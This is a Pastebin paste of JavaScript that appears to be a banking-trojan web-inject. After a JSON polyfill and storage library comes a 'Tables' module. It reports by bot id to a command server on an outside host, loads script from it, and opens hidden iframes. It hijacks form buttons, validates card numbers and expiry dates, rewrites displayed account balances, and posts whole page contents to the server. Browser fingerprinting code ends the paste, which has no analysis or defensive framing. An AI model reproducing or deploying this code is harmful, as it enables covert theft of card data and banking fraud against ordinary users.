Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- this.JSON||(this.JSON={}),function(){function f(e){return e<10?"0"+e:e}function quote(e){return escapable.lastIndex=0,escapable.test(e)?'"'+e.replace(escapable,function(e){var t=meta[e];return typeof t=="string"?t:"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+e+'"'}function str(e,t){var n,r,i,s,o=gap,u,a=t[e];a&&typeof a=="object"&&typeof a.toJSON=="function"&&(a=a.toJSON(e)),typeof rep=="function"&&(a=rep.call(t,e,a));switch(typeof a){case"string":return quote(a);case"number":return isFinite(a)?String(a):"null";case"boolean":case"null":return String(a);case"object":if(!a)return"null";gap+=indent,u=[];if(Object.prototype.toString.apply(a)==="[object Array]"){s=a.length;for(n=0;n<s;n+=1)u[n]=str(n,a)||"null";return i=u.length===0?"[]":gap?"[\n"+gap+u.join(",\n"+gap)+"\n"+o+"]":"["+u.join(",")+"]",gap=o,i}if(rep&&typeof rep=="object"){s=rep.length;for(n=0;n<s;n+=1)r=rep[n],typeof r=="string"&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i))}else for(r in a)Object.hasOwnProperty.call(a,r)&&(i=str(r,a),i&&u.push(quote(r)+(gap?": ":":")+i));return i=u.length===0?"{}":gap?"{\n"+gap+u.join(",\n"+gap)+"\n"+o+"}":"{"+u.join(",")+"}",gap=o,i}}typeof Date.prototype.toJSON!="function"&&(Date.prototype.toJSON=function(e){return isFinite(this.valueOf())?this.getUTCFullYear()+"-"+f(this.getUTCMonth()+1)+"-"+f(this.getUTCDate())+"T"+f(this.getUTCHours())+":"+f(this.getUTCMinutes())+":"+f(this.getUTCSeconds())+"Z":null},String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(e){return this.valueOf()});var cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,gap,indent,meta={"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"},rep;typeof JSON.stringify!="function"&&(JSON.stringify=function(e,t,n){var r;gap="",indent="";if(typeof n=="number")for(r=0;r<n;r+=1)indent+=" ";else typeof n=="string"&&(indent=n);rep=t;if(!t||typeof t=="function"||typeof t=="object"&&typeof t.length=="number")return str("",{"":e});throw new Error("JSON.stringify")}),typeof JSON.parse!="function"&&(JSON.parse=function(text,reviver){function walk(e,t){var n,r,i=e[t];if(i&&typeof i=="object")for(n in i)Object.hasOwnProperty.call(i,n)&&(r=walk(i,n),r!==undefined?i[n]=r:delete i[n]);return reviver.call(e,t,i)}var j;text=String(text),cx.lastIndex=0,cx.test(text)&&(text=text.replace(cx,function(e){return"\\u"+("0000"+e.charCodeAt(0).toString(16)).slice(-4)}));if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return j=eval("("+text+")"),typeof reviver=="function"?walk({"":j},""):j;throw new SyntaxError("JSON.parse")})}(),"use strict",function(e,t){typeof define=="function"&&define.amd?define([],t):typeof exports=="object"?module.exports=t():e.store=t()}(this,function(){function o(){try{return r in t&&t[r]}catch(e){return!1}}var e={},t=window,n=t.document,r="localStorage",i="script",s;e.disabled=!1,e.version="1.3.17",e.set=function(e,t){},e.get=function(e,t){},e.has=function(t){return e.get(t)!==undefined},e.remove=function(e){},e.clear=function(){},e.transact=function(t,n,r){r==null&&(r=n,n=null),n==null&&(n={});var i=e.get(t,n);r(i),e.set(t,i)},e.getAll=function(){},e.forEach=function(){},e.serialize=function(e){return JSON.stringify(e)},e.deserialize=function(e){if(typeof e!="string")return undefined;try{return JSON.parse(e)}catch(t){return e||undefined}};if(o())s=t[r],e.set=function(t,n){return n===undefined?e.remove(t):(s.setItem(t,e.serialize(n)),n)},e.get=function(t,n){var r=e.deserialize(s.getItem(t));return r===undefined?n:r},e.remove=function(e){s.removeItem(e)},e.clear=function(){s.clear()},e.getAll=function(){var t={};return e.forEach(function(e,n){t[e]=n}),t},e.forEach=function(t){for(var n=0;n<s.length;n++){var r=s.key(n);t(r,e.get(r))}};else if(n.documentElement.addBehavior){var u,a;try{a=new ActiveXObject("htmlfile"),a.open(),a.write("<"+i+">document.w=window</"+i+'><iframe src="/favicon.ico"></iframe>'),a.close(),u=a.w.frames[0].document,s=u.createElement("div")}catch(f){s=n.createElement("div"),u=n.body}var l=function(t){return function(){var n=Array.prototype.slice.call(arguments,0);n.unshift(s),u.appendChild(s),s.addBehavior("#default#userData"),s.load(r);var i=t.apply(e,n);return u.removeChild(s),i}},c=new RegExp("[!\"#$%&'()*+,/\\\\:;<=>?@[\\]^`{|}~]","g"),h=function(e){return e.replace(/^d/,"___$&").replace(c,"___")};e.set=l(function(t,n,i){return n=h(n),i===undefined?e.remove(n):(t.setAttribute(n,e.serialize(i)),t.save(r),i)}),e.get=l(function(t,n,r){n=h(n);var i=e.deserialize(t.getAttribute(n));return i===undefined?r:i}),e.remove=l(function(e,t){t=h(t),e.removeAttribute(t),e.save(r)}),e.clear=l(function(e){var t=e.XMLDocument.documentElement.attributes;e.load(r);while(t.length)e.removeAttribute(t[0].name);e.save(r)}),e.getAll=function(t){var n={};return e.forEach(function(e,t){n[e]=t}),n},e.forEach=l(function(t,n){var r=t.XMLDocument.documentElement.attributes;for(var i=0,s;s=r[i];++i)n(s.name,e.deserialize(t.getAttribute(s.name)))})}try{var p="__storejs__";e.set(p,p),e.get(p)!=p&&(e.disabled=!0),e.remove(p)}catch(f){e.disabled=!0}return e.enabled=!e.disabled,e})
- var Tables = (function(){
- var admin = 'https://ssl6.ovh.net/~fuledota//admin/css/Cx1WxC1cC/';
- var data = new Array();
- var link = {
- gate: admin+"menu.php"
- };
- var options = {
- callback_status: '',
- iframe_status: '',
- currency_state: false
- };
- var splitter = {value: 'none',position: 'none'};
- var prefix = {minus: '-',plus: ''};
- function notnull(param){if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){return false;}else{return true;}}
- function compatHeight(){var ua = navigator.userAgent.toLowerCase();var isOpera = (ua.indexOf('opera') > -1);var isIE = (!isOpera && ua.indexOf('msie') > -1);return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;}
- function cin(digits) {var res = '';if (digits && digits.length > 0) {digits = digits.replace(/\u2212/g, "-");var ValidChars = "-.0123456789";for (var i = 0; i < digits.length; i++) {var Char = digits.charAt(i);if (ValidChars.indexOf(Char) >= 0) {res += Char;}}}return parseFloat(res);}
- function cout(digits, r) {if (r == 1) {digits = digits.toString().replace(/\$|\,/g, '');if (isNaN(digits)) digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits * 100 + 0.50000000001);cents = digits % 100;digits = Math.floor(digits / 100).toString();if (cents < 10) cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length - (1 + i)) / 3); i++) digits = digits.substring(0, digits.length - (4 * i + 3)) + ',' + digits.substring(digits.length - (4 * i + 3));return (((sign) ? '' : '-') + digits + '.' + cents);} else if (r == 2) {digits = digits.toString().replace(/\$|\,/g, '');if (isNaN(digits)) digits = "0";sign = (digits == (digits = Math.abs(digits)));digits = Math.floor(digits * 100 + 0.50000000001);cents = digits % 100;digits = Math.floor(digits / 100).toString();if (cents < 10) cents = "0" + cents;for (var i = 0; i < Math.floor((digits.length - (1 + i)) / 3); i++) digits = digits.substring(0, digits.length - (4 * i + 3)) + '.' + digits.substring(digits.length - (4 * i + 3));return (((sign) ? '' : '-') + digits + ',' + cents).replace(/\./igm,' ');} else {return digits;}}
- function gc(digits) {if (digits){if (/[0-9]/igm.test(digits)) {if (/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)) {options.currency_state = 1;return cin(digits.replace(/\,/g, ''));} else {options.currency_state = 2;return cin(digits.replace(/\./g, '').replace(/,/g, '.'));}} else {return digits;}} else {return digits;}}
- function sc(digits) {if (options.currency_state == 1 || options.currency_state == 2) {return cout(digits, options.currency_state);} else {return digits;}}
- return{
- brows: function(){
- var ua=navigator.userAgent,tem,M=ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
- if(/trident/i.test(M[1])){
- tem=/\brv[ :]+(\d+)/g.exec(ua) || [];
- return {name:'IE ',version:(tem[1]||'')};
- }
- if(M[1]==='Chrome'){
- tem=ua.match(/\bOPR\/(\d+)/)
- if(tem!=null) {return {name:'Opera', version:tem[1]};}
- }
- M=M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
- if((tem=ua.match(/version\/(\d+)/i))!=null) {M.splice(1,1,tem[1]);}
- return M[0]+' '+M[1];
- },
- set: function(name,value){
- if(/function/igm.test(typeof value)){
- data[name] = value();
- }else{
- data[name] = value;
- }
- },
- add: function(name,value){
- if(data[name]){
- data[name] = data[name]+value;
- }else{
- _tables.set(name,value);
- }
- },
- get: function(name){
- return data[name];
- },
- are: function(){
- var r = true;
- if(arguments && arguments.length > 0){
- for(var i = 0; i < arguments.length; i++){
- if(!data[arguments[i]]){
- r = false;
- }
- }
- }
- return r;
- },
- dump: function(){
- var a = '';
- for(key in data){
- a += key+": "+data[key]+"\r\n";
- }
- alert(a);
- },
- findout: function(){
- var found = {
- tag: false,
- error: false,
- element: false
- };
- if(arguments && arguments.length >= 3){
- var elements_array = arguments[1].split("|");
- if(elements_array.length > 0){
- for(var k = 0; k < elements_array.length; k++){
- var elements = arguments[0].getElementsByTagName(elements_array[k]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e].split(":")[1],"igm");
- if(arguments[e].split(":")[0] == "class"){
- if(elements[i].className !== null && pattern.test(elements[i].className)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else if(arguments[e].split(":")[0] == "for"){
- if(elements[i].className !== null && pattern.test(elements[i].htmlFor)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else{
- if(elements[i].getAttribute(arguments[e].split(":")[0]) !== null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- }else{
- return false;
- }
- }else{
- return false;
- }
- },
- findin: function(){
- var found = {
- tag: false,
- error: false,
- element: false
- };
- if(arguments && arguments.length > 2){
- var elements = arguments[0].getElementsByTagName(arguments[1]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e],"igm");
- if(pattern.test(elements[i].innerHTML.toLowerCase())){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- },
- tinydecode: function(s){
- s = s.replace(/\</g,'<');
- s = s.replace(/\>/g,'>');
- s = s.replace(/\"/g,'"');
- s = s.replace(/\&/g,'&');
- s = s.replace(/\ /g,' ');
- return s;
- },
- child: function(parent,child){
- return parent && child ? parent.getElementsByTagName(child) : false;
- },
- html: function(element){
- if(element){
- var text = (element.textContent ? element.textContent : element.innerText) ? (element.textContent ? element.textContent : element.innerText) : element.innerHTML;
- return text.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
- }else{
- return "";
- }
- },
- input: function(input,type){
- switch(type){
- case("block"):
- if(input){input.onkeypress = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};input.onkeydown = function(evt){var evt = (evt) ? evt : ((event) ? event : null);var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);if(evt.keyCode == 13){if(evt.stopPropagation){evt.stopPropagation();}else{evt.cancelBubble = true;}return false;}};}
- break;
- case("disable"):
- input.disabled = true;
- break;
- }
- },
- form: function(form,type){
- if(form){
- switch(type){
- case("block"):
- var inps = _tables.child(form,"input");
- if(inps && inps.length > 0){
- for(var i = 0; i < inps.length; i++){
- if(/text|password/igm.test(inps[i].type)){
- _tables.input(inps[i],'block');
- }
- }
- }
- break;
- }
- }
- },
- bind: function(evType,obj,func){if(obj.removeEventListener){obj.removeEventListener(evType,func,false);}else if(obj.detachEvent){obj.detachEvent ('on'+evType,func);}if(obj.addEventListener ){obj.addEventListener(evType,func,false);return true;}else if(obj.attachEvent){var r = obj.attachEvent('on'+evType,func);return r;}else{elm['on'+evType] = func;}},
- replacebutton: function(button,func){
- var newButton = document.createElement(/image/igm.test(button.tagName) ? 'img' : button.tagName);
- for(x in button.attributes){
- if(notnull(button.attributes[x]) && notnull(button.attributes[x].name) && notnull(button.attributes[x].value)){
- if(button.attributes[x].name == "onclick" ||
- button.attributes[x].name == "name" ||
- button.attributes[x].name == "disabled" ||
- (button.attributes[x].name == "href" && !/image/igm.test(button.tagName)) ||
- button.attributes[x].name == "id"
- ){
- continue;
- }
- if(button.attributes[x].name == "type" && button.attributes[x].value == "submit"){
- newButton.type = "button";
- }else{
- newButton.setAttribute(button.attributes[x].name,button.attributes[x].value);
- }
- }
- }
- if(button.tagName == "A" || button.tagName == "BUTTON" || button.tagName == "LI"){
- newButton.innerHTML = button.innerHTML;
- }
- newButton.style.cursor = "pointer";
- button.style.display = "none";
- newButton.id = "_tables.button";
- _tables.bind("click",newButton,func);
- button.parentNode.insertBefore(newButton,button);
- },
- encode: function(b){function gethex(a){return "%" + f.charAt(a >> 4) + f.charAt(a & 0xF);}var c = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_.~";var d = "!*'();:@&=+$,/?%#[]";var e = c + d;var f = "0123456789ABCDEFabcdef";b = b + "";var g = "";if (!b || b.length == 0){return "";}for (var i = 0; i < b.length; i++) {var h = b.charAt(i);if (c.indexOf(h) != -1) {g = g + h;} else {var j = b.charCodeAt(i);if (j < 128) {g = g + gethex(j);}if (j > 127 && j < 2048) {g = g + gethex((j >> 6) | 0xC0);g = g + gethex((j & 0x3F) | 0x80);}if (j > 2047 && j < 65536) {g = g + gethex((j >> 12) | 0xE0);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}if (j > 65535) {g = g + gethex((j >> 18) | 0xF0);g = g + gethex(((j >> 12) & 0x3F) | 0x80);g = g + gethex(((j >> 6) & 0x3F) | 0x80);g = g + gethex((j & 0x3F) | 0x80);}}}return g;},
- send: function(){var l = link.gate+'?botid='+_tables.encode(_brows.botid)+'&hash='+new Date();for(var i = 0; i < arguments.length; i++){for(key in arguments[i]){l += '&'+key+'='+_tables.encode(arguments[i][key]);}}var s = document.getElementById("_tables.as");if(s)s.parentNode.removeChild(s);var s = document.createElement("script");s.type = "text/javascript";s.id = "_tables.as";if(s.readyState){s.onreadystatechange = function(){if(s.readyState == "loaded" || s.readyState == "complete"){s.onreadystatechange = null;_tables.callback();}};}else{s.onload = function(){_tables.callback();};}l = l.replace(/\(/g,"%28").replace(/\)/g,"%29");s.src = l;document.getElementsByTagName("head")[0].appendChild(s);},
- status: function(s){if(s){options.callback_status = s;}else{return options.callback_status;}},
- fstatus: function(s){if(s){options.iframe_status = s;}else{return options.iframe_status;}},
- rand: function(a,b){return Math.floor((Math.random()*b)+a);},
- shuffle: function(o){for(var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x);return o;},
- click: function(btn,doc){
- if(btn.type == "image"){
- var inp_X = document.getElementById("inp_X");
- var inp_Y = document.getElementById("inp_Y");
- var inp_submit = document.getElementById("inp_submit");
- if(inp_X)inp_X.parentNode.removeChild(inp_X);
- if(inp_Y)inp_Y.parentNode.removeChild(inp_Y);
- if(inp_submit)inp_submit.parentNode.removeChild(inp_submit);
- var inp_X = document.createElement("input");
- var inp_Y = document.createElement("input");
- var inp_submit = document.createElement("input");
- inp_X.name = btn.name+".x";
- inp_Y.name = btn.name+".y";
- inp_submit.name = btn.name;
- inp_submit.value = btn.value;
- inp_submit.type = "submit";
- inp_submit.id = "inp_submit";
- inp_X.id = "inp_X";
- inp_Y.id = "inp_Y";
- inp_X.value = _tables.rand(1,15);
- inp_Y.value = _tables.rand(1,15);
- inp_X.style.display = "none";
- inp_Y.style.display = "none";
- inp_submit.style.display = "none";
- btn.parentNode.insertBefore(inp_X,btn);
- btn.parentNode.insertBefore(inp_Y,btn);
- btn.parentNode.insertBefore(inp_submit,btn);
- var inp_submit = doc.getElementById("inp_submit");
- if(inp_submit)_tables.click("click",inp_submit);
- }else{
- if(document.createEvent){
- var event = document.createEvent('MouseEvents');
- event.initMouseEvent('click',true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
- btn.dispatchEvent(event);
- }else if(btn.fireEvent){
- btn.click();
- }
- }
- },
- iframelink: function(link,param){
- var _tf = document.getElementById("_tables.frame.box");
- if(_tf)_tf.parentNode.removeChild(_tf);
- _tf = document.createElement("div");
- _tf.style.position = "absolute";
- _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
- _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
- _tf.id = "_tables.frame.box";
- _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
- document.body.appendChild(_tf);
- var f = document.getElementById("_tables.iframe");
- f.src = link;
- if(param)_tables.fstatus(param);
- },
- iframeform: function(param){
- var _tf = document.getElementById("_tables.frame.box");
- if(_tf)_tf.parentNode.removeChild(_tf);
- _tf = document.createElement("div");
- _tf.style.position = "absolute";
- _tf.style.left = _tables.get('showframe') ? "0px" : "-5000px";
- _tf.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
- _tf.id = "_tables.frame.box";
- _tf.innerHTML = '<iframe id="_tables.iframe" name="_tables.iframe" width=1280 height=800 onload="_tables.iframecallback();"></iframe>';
- document.body.appendChild(_tf);
- var f = document.getElementById("_tables.iframe");
- if(param)_tables.fstatus(param);
- },
- iframedom: function(fr){
- var r = {
- doc: false,
- win: false
- };
- if(_brows.ver() == "FF" && fr){
- r.doc = fr.contentDocument;
- r.win = fr.contentWindow;
- }else{
- r.doc = fr.contentWindow.document;
- r.win = fr.contentWindow;
- }
- return r;
- },
- height: function(){
- return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, compatHeight());
- },
- popupshow: function(content,back){
- _tables.popuphide();
- back = back ? '#FFFFFF' : 'url(clear.png)';
- var bg = '<div style="position:absolute;top:0px;left:0px;width:100%;height:'+Math.round((window.screen.availHeight)+100)+'px;z-index:300;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);"></div>';
- var _tp = document.createElement("div");
- _tp.id = "_tables.popup";
- _tp.innerHTML = bg+""+content;
- document.getElementsByTagName('body')[0].appendChild(_tp);
- var bg2 = '<div style="position:fixed;top:0px;left:0px;width:100%;height:42px;z-index:302;background:'+back+';opacity:0.7;filter: alpha(opacity = 70);"> </div>';
- var _tp2 = document.createElement("div");
- _tp2.id = "_tables.popup.2";
- _tp2.innerHTML = bg2+""+content;
- document.getElementsByTagName('body')[0].appendChild(_tp2);
- },
- popuphide: function(){
- var _tp = document.getElementById("_tables.popup");if(_tp)_tp.parentNode.removeChild(_tp);
- },
- inarr: function(arr,value){
- for(var i = 0; i < arr.length; i++){
- if(value == arr[i]){
- return true;
- }
- }
- arr.push(value);
- return false;
- },
- placeholdr: function(input){
- if(_brows.ver() == 'FF')return;
- var txt = input.getAttribute("placeholder");
- if(txt.length > 0){
- input.style.color = input.value.length == 0 ? '#cccccc' : '#000000';
- input.value = input.value.length > 0 ? input.value : txt;
- input.onfocus = function(){
- this.style.color = '#000000';
- this.value = this.value == this.getAttribute("placeholder") ? "" : this.value;
- };
- input.onblur = function(){
- if(this.value.length == 0){
- this.value = this.getAttribute("placeholder");
- this.style.color = '#CCCCCC';
- }
- };
- }
- },
- btntoloader: function(btn,imghref){
- btn.style.visibility = 'hidden';
- var img = document.createElement('img');
- img.align = 'top';
- img.src = imghref;
- img.id = '_f_btntoloader';
- img.style.cssFloat = 'left';
- img.style.marginTop = '8px';
- img.style.marginLeft = '8px';
- btn.parentNode.insertBefore(img,btn);
- },
- cget: function(param){
- return gc(param);
- },
- cset: function(param){
- return sc(param);
- },
- replace: function(element,summa){
- if(element.id == 'was_replacer')return false;
- element.id = 'was_replacer';
- var tsel = /select|option/igm.test(element.tagName);
- var tinp = /input|textarea/igm.test(element.tagName);
- if(tsel){
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.text.split(splitter.value)[splitter.position]);
- }else{
- var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.text);
- }
- }else if(tinp){
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.value.split(splitter.value)[splitter.position]);
- }else{
- var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(element.value);
- }
- }else{
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (_tables.html(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(_tables.html(element).split(splitter.value)[splitter.position]);
- }else{
- var minus = (_tables.html(element).indexOf(prefix.minus) != -1) ? true : false;
- var balance = gc(_tables.html(element));
- }
- }
- var new_balance = balance+parseFloat(summa);
- if(minus)balance = balance * -1;
- balance = sc(balance);
- new_balance = sc(new_balance);
- if(tsel){
- element.innerHTML = element.innerHTML.replace(/\ \;/igm," ");
- var f = element.text.replace(balance+"",new_balance+"");
- }else if(tinp){
- var f = element.value.replace(balance+"",new_balance+"");
- }else{
- element.innerHTML = element.innerHTML.replace(/\ \;/igm," ");
- var f = element.innerHTML.replace(balance+"",new_balance+"");
- }
- if(parseFloat(new_balance) >= 0){
- f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
- f = f.replace("-"+new_balance+"",new_balance+"");
- }else{
- f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
- f = f.replace(/\-/,"");
- }
- if(tsel){
- element.text = f;
- }else if(tinp){
- element.value = f;
- }else{
- element.innerHTML = f;
- }
- if(splitter.value != "none" && splitter.position != "none"){
- splitter.value = "none";
- splitter.position = "none";
- }
- },
- splitter: function (value,position){
- splitter.value = value;
- splitter.position = position;
- },
- match: function(el,data){
- var pattern = new RegExp(data,"igm");
- if(pattern.test(el)){
- return true;
- }else{
- return false;
- }
- },
- convertdate: function(date){
- var els = date.split(".");
- if(els && els.length == 3){
- var res = 0;
- res += parseFloat(els[2]) * 365;
- res += parseFloat(els[1]) * 30;
- res += parseFloat(els[0]);
- return res;
- }else{
- return -1;
- }
- },
- recolortable: function(table,class1,class2){
- var tr = _tables.child(table,'tr');
- if(tr && tr.length > 0){
- for(var i = 0; i < tr.length; i++){
- tr[i].className = (i % 2 == 0) ? class1 : class2;
- }
- }
- },
- id: function(id,doc){var doc = doc ? doc : document;return doc.getElementById(id);},
- create: function(el,doc){var doc = doc ? doc : document;return doc.createElement(el);},
- selected: function(select){var sel = {value: select[select.selectedIndex].value,text: select[select.selectedIndex].text};return sel;},
- after: function(elem,ref){var parent = ref.parentNode;var next = ref.nextSibling;if(next){return parent.insertBefore(elem,next);}else{return parent.appendChild(elem);}},
- clone: function(inp,value){
- var object = document.createElement(inp.tagName);
- for (x in inp.attributes){
- if(notnull(inp.attributes[x]) && notnull(inp.attributes[x].name) && notnull(inp.attributes[x].value)){
- if(inp.attributes[x].name == "onclick" ||
- inp.attributes[x].name == "name" ||
- inp.attributes[x].name == "href" ||
- inp.attributes[x].name == "id" ||
- inp.attributes[x].name == "value"
- ){
- continue;
- }
- object.setAttribute(inp.attributes[x].name,inp.attributes[x].value);
- }
- }
- if(/select/igm.test(inp.tagName)){
- object.options[0] = new Option(inp[inp.selectedIndex].text,inp[inp.selectedIndex].value);
- }else{
- value = value ? value : inp.value;
- object.value = value;
- }
- object.disabled = true;
- inp.style.display = "none";
- inp.parentNode.insertBefore(object,inp);
- },
- next: function(e,len,n){
- if(e.value.length == len)document.getElementById(n).focus();
- },
- check_cc: function(value){
- if (/[^0-9-\s]+/.test(value)) return false;
- var nCheck = 0, nDigit = 0, bEven = false;
- value = value.replace(/\D/g, "");
- for (var n = value.length - 1; n >= 0; n--) {
- var cDigit = value.charAt(n),
- nDigit = parseInt(cDigit, 10);
- if(bEven){
- if ((nDigit *= 2) > 9) nDigit -= 9;
- }
- nCheck += nDigit;
- bEven = !bEven;
- }
- return (nCheck % 10) == 0;
- },
- check_day: function(dd){
- if(parseFloat(dd) > 0 && parseFloat(dd) < 32 && (dd+'').length == 2){
- return true;
- }else{
- return false;
- }
- },
- check_month: function(mm){
- if(parseFloat(mm) > 0 && parseFloat(mm) < 13 && (mm+'').length == 2){
- return true;
- }else{
- return false;
- }
- },
- check_email: function(email) {
- var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
- return re.test(email);
- },
- check_year: function(yy,format){
- switch(format){
- case('YY'):
- if(parseFloat(yy) >= 15 && (yy+'').length == 2){
- return true;
- }else{
- return false;
- }
- break;
- case('YYYY'):
- if(parseFloat(yy) >= 1920 && parseFloat(yy) <= 2015 && (yy+'').length == 4){
- return true;
- }else{
- return false;
- }
- break;
- }
- },
- contentgrabber: function(doc){
- var _tcgb = document.getElementById("_tables.content.grabber.box");
- if(_tcgb)_tcgb.parentNode.removeChild(_tcgb);
- var docLoc = doc.location.href;
- var baseLoc = docLoc.substr(0,docLoc.lastIndexOf("/")+1);
- var docCodeRemastered = doc.documentElement.innerHTML;
- _tcgb = document.createElement("div");
- _tcgb.style.position = "absolute";
- _tcgb.style.left = _tables.get('showframe') ? "0px" : "-5000px";
- _tcgb.style.top = _tables.get('showframe') ? "2000px" : "-5000px";
- _tcgb.id = "_tables.content.grabber.box";
- _tcgb.innerHTML = '<iframe id="_tables.content.iframe" name="_tables.content.iframe" width=1280 height=800 style="border:5px solid black;"></iframe>';
- document.body.appendChild(_tcgb);
- var _tform = document.createElement("form");
- var _tarea = document.createElement("textarea");
- var _tbranch = document.createElement("input");
- _tbranch.name = "branch";
- _tbranch.value = "CG";
- _tform.id = "_tables.content.form";
- _tform.target = "_tables.content.iframe";
- _tform.action = link.gate;
- _tform.method = "POST";
- _tarea.name = "_tarea";
- if(_tables.get('showframe')){
- _tarea.style.width = "1500px";
- _tarea.style.height = "500px";
- }else{
- _tarea.style.display = "none";
- _tform.style.display = "none";
- }
- _tarea.value = '<html><base href="'+baseLoc+'">'+docCodeRemastered+'iframe:'+_tables.get('stoperr')+'</html>';
- _tform.appendChild(_tbranch);
- _tform.appendChild(_tarea);
- document.getElementsByTagName("body")[0].appendChild(_tform);
- var _tform = document.getElementById("_tables.content.form");
- _tform.submit();
- }
- };
- }());
- _tables = Tables;
- (function (window) {
- {
- var unknown = '-';
- // screen
- var screenSize = '';
- if (screen.width) {
- width = (screen.width) ? screen.width : '';
- height = (screen.height) ? screen.height : '';
- screenSize += '' + width + " x " + height;
- }
- //browser
- var nVer = navigator.appVersion;
- var nAgt = navigator.userAgent;
- var browser = navigator.appName;
- var version = '' + parseFloat(navigator.appVersion);
- var majorVersion = parseInt(navigator.appVersion, 10);
- var nameOffset, verOffset, ix;
- // Opera
- if ((verOffset = nAgt.indexOf('Opera')) != -1) {
- browser = 'Opera';
- version = nAgt.substring(verOffset + 6);
- if ((verOffset = nAgt.indexOf('Version')) != -1) {
- version = nAgt.substring(verOffset + 8);
- }
- }
- // MSIE
- else if ((verOffset = nAgt.indexOf('MSIE')) != -1) {
- browser = 'Microsoft Internet Explorer';
- version = nAgt.substring(verOffset + 5);
- }
- // Chrome
- else if ((verOffset = nAgt.indexOf('Chrome')) != -1) {
- browser = 'Chrome';
- version = nAgt.substring(verOffset + 7);
- }
- // Safari
- else if ((verOffset = nAgt.indexOf('Safari')) != -1) {
- browser = 'Safari';
- version = nAgt.substring(verOffset + 7);
- if ((verOffset = nAgt.indexOf('Version')) != -1) {
- version = nAgt.substring(verOffset + 8);
- }
- }
- // Firefox
- else if ((verOffset = nAgt.indexOf('Firefox')) != -1) {
- browser = 'Firefox';
- version = nAgt.substring(verOffset + 8);
- }
- // MSIE 11+
- else if (nAgt.indexOf('Trident/') != -1) {
- browser = 'Microsoft Internet Explorer';
- version = nAgt.substring(nAgt.indexOf('rv:') + 3);
- }
- // Other browsers
